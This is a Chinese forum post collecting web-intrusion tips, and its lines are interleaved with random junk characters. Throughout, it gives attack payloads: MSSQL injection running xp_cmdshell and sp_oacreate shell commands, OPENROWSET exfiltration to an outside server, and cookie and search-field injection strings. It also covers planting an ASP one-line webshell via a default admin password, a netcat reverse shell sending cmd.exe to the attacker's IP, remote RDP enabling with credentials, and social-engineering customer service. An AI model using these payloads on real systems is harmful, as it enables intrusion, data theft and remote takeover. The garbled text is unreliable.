SA点数据库分离技术相关, k1 A5 S+ W* ?; `& g# G9 r
6 J' H$ S, h" u% \
. G+ I$ b6 P8 p+ e- PSA点数据库分离搞法+语句:- ]4 B/ `% }- D. Q- O- m k
5 C0 G& Z+ \# `7 R* }
注射点不显错,执行下面三条语句页面都返回正常。
7 M9 j. L8 i2 u; p$ d& E, Jand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
% F# i8 b9 r4 a( Z# land 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
( |! L7 u8 p7 ]- ?1 J" i6 r& oand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
4 d9 T3 T1 u) G6 z& M- S可以列目录，判断系统为2000，web与数据库分离
" ?1 Z; \; g5 e遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。+ M. V7 S0 E, D% K6 c* [$ J: f4 h7 i
在注射点上执行
' `2 y* c# L I4 B' hdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--% Y1 L. `+ D: ]. @! S7 m
页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP! {2 F5 l2 L8 U
还有我用NC监听得其他端口都没有得到IP。
( D9 w# b3 p# v- f
6 [, _. [: D, f/ p5 L通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。. m( [4 ^& @( x' |0 v; s% o
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--/ Q4 F' W2 Y8 H) z5 k7 Z
& O* D9 \2 B: Y8 v0 ^;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--$ G. `) f' T1 B3 x* a2 _2 I
4 ]. z5 q$ d% e* D/ r. L现在就猜想是不是数据库是内网而且不能连外网。
$ y& [% s7 Z* B
- a T! n6 F1 H* ]; A% |
9 R4 _7 G5 O, c6 M: h8 I9 Gaccess导出txt文本代码& D% O( W ~) ~& m; Q+ P! _7 m6 ~4 K
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
- n7 U$ D3 h4 m/ P$ D Z$ ^! i" J4 }3 K
$ n: r6 ~2 j# i. L8 |- T
' E" e0 v# I# B2 x自动跳转到指定网站代码头5 O" l, E6 C9 c+ K- A
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>: n3 p) l3 [1 q5 L! ^
; ?# [. A- c" x: @3 u6 @. R
% x( _6 I# Z! B2 ~: f2 b9 i; p3 `入侵java or jsp站点时默认配置文件路径:
! q3 q" u& A% H+ i% `! T\web-inf\web.xml( L" ] I, L6 \2 C5 d# g4 w
tomcat下的配置文件位置:
3 P; M3 q( l. ^: \9 ]\conf\server.xml (前面加上tomcat路径)
+ `; B0 s1 g! m. c4 s3 S% h5 M9 P4 S\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
" U$ @) w9 Y' E O& D6 p$ a$ W: |: R7 @5 Z+ @! c
: C& |( Z2 Z, a
& A8 C6 e/ X, E9 n: u7 y/ K% p, D
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
; I/ e. B( s8 `4 I/ |1 V-1%231 D: f+ ^& Q7 m1 |% p# E# _' K8 d! v2 V
>
. S- B+ }) e4 P9 E$ b# h<6 b% M3 \8 _3 R7 l4 [& V: `
1'+or+'1'='1
% l$ e: Y6 M( D, c* Did=8%bf5 O* q2 N! n4 t2 m& L9 M% [
: h1 E9 r" N" W2 F* N* y* Q0 ]! w全新注入点检测试法:
/ t9 D ]0 h+ n' B3 Q& l在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
( s4 T' Z' R: I' @# i1 o
5 R3 x7 R! B/ w- D9 X l2 Z% O在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。
. A5 d3 @/ m' h" {" G* P7 d0 L3 t" D6 w/ F
搜索型注入判断方法:
7 v1 `; ], v, b0 D北京%' and '1'='1' and '%'='
2 }$ \& `! d0 J+ N6 A ^4 N北京%' and '1'='2' and '%'='
7 u8 T8 F1 N( h" S% j2 T% k ~( Z9 [$ u8 J3 u" ^5 }
; a) g# o3 ~ D4 G8 F/ P
COOKIES注入:
) J; {1 X4 x9 a3 \% o: ~: Q
/ J) z: M; R1 Y+ Yjavascript:alert(document.cookie="id="+escape("51 and 1=1"));
- B1 Y, |& [& A$ C5 b" ^" x6 }% O
* c: W$ `9 S0 V+ e2000专业版查看本地登录用户命令:- P4 Z7 E' S& B
net config workstation
% N9 k5 L. d* a6 e# X r' R. P, {* k. u0 u
' C f0 f+ }* r" @2003下查看ipsec配置和默认防火墙配置命令:
W8 ]4 z) f) N* g' w+ S& |! jnetsh firewall show config
1 ?/ f( i4 ~0 A/ h6 B, R! J, Y7 xnetsh ipsec static show all$ w& F5 O) e( V
0 [8 `4 p5 f4 T+ Q
不指派指定策略命令:. i) d* [+ O( q( i+ ~, O% H% s1 N" V( {
netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
+ R6 [/ v3 W: q) \" Rnetsh ipsec static show policy all 显示策略名
. R* i4 ]* R( Z$ e
! U. n8 g6 q% h1 J& u6 n6 r% w1 c, {$ a
猜管理员后台小技巧:
n' _( g1 x& R3 q5 qadmin/left.asp
4 V$ Y/ Z5 A5 E* [admin/main.asp/ c7 @8 b$ p6 v4 H9 n# k
admin/top.asp4 `& h/ R0 k6 Q) }2 O: N
admin/admin.asp
5 o- p, |9 a; i% K1 x+ ^& |会现出菜单导航,然后迅雷下载全部链接
& k- U# H7 d$ L9 ~) a& b' F \. m/ u# _. o
/ R- a, U2 _; c* G社会工程学:
# Y7 G& Q1 b6 Q* [4 S用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
, x, N4 U3 c k0 R+ ]# L1 Y L然后去骗客服. T) L5 D) q& ?5 e' ~ B$ N, M& X
& V$ `* Z% B" W* m% y
1 h( |7 e& f A2 I- t+ F6 E统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
7 c, f1 e3 d+ S查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">，
{2 {6 p9 r! ^3 I 存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。6 p8 A1 _9 C5 T. y( B+ |& t, V6 h
3 e- ]& z+ p0 m5 N+ j* g' m; M8 S* a( H# M
* n2 H' i. {5 P+ i6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）
9 D" _. C. j r' K7 J
* k4 Y% p, B: B0 p) j* Y
0 y4 W' j6 |3 ?% B% T# D! s2 @$ ?# z& A* r e& p% d+ E9 x
CMD加密注册表位置
8 \- P4 j# W1 {5 Q" a# k) ](1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
, S9 Q" E) _7 T" [AutoRun' T# v% y; l) ]% R
p/ U* y0 {, ~+ S9 h& ~; j
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
5 A# m- w6 n3 r2 [AutoRun
5 ~" n8 y% I/ P+ \/ o5 L5 C! E, F1 y( H/ t6 ^( p! A, R
7 q1 Q5 k' V9 ?$ l" @$ H" D% l% T; x在找注入时搜索Hidden,把他改成test0 Q+ J0 p0 e8 e" Q- X+ O U
5 N# `3 `6 J9 a: z# x3 x
. {" `" S0 X" Y" e7 e" P! v# [4 \9 Q
, l8 R6 O) o: b$ p# }6 a8 |mstsc /v:IP /console 0 e0 W" _' h: W+ {7 j( @ s
6 _% C7 `1 y2 D$ g1 `# F7 b( g% Y$ g
, W. ~8 r8 _# u4 l% J) e
一句话开3389:
% l2 [' H- q5 @
" z. b9 |$ r, R1 ^' E1 {最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
+ X$ }( ?/ i: U A5 U# r开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
# y! n" `, x0 y/ z; T# G" v& T' l
+ g* w. B2 p0 w1 E0 @7 H8 j$ x: s7 K/ b- l1 o4 b6 R- L0 q. j
知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
/ M6 Q* q( x8 FInsert into admin(user,pwd) values('test','test')" x' P- Z2 `. F+ T' Q/ V5 d
+ Z X8 B) g) Y# t& U( |1 D, B; W9 Z, \/ d! q
NC反弹
5 T1 t2 D5 `7 A( }先在本机执行： nc -vv -lp 监听的端口 (自己执行)
- ? C# ?% V! T2 o8 d然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)8 W5 Z) b- d5 Z! E+ i
6 _; e1 c$ O$ k& Q3 Z8 L4 Q3 N! r
% L9 ]6 r# {3 B9 @. B R在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
4 g: m# p/ e4 E( W! |: s8 \% v+ `6 r. \4 s
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录, v5 `; [! P# v0 N* e& N$ m
例如:
# o/ |: r" a' z: c& ^7 @) Zsubst k: d:\www\ 用d盘www目录替代k盘0 ]5 l6 _, B+ d( ]* a6 g% C
subst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对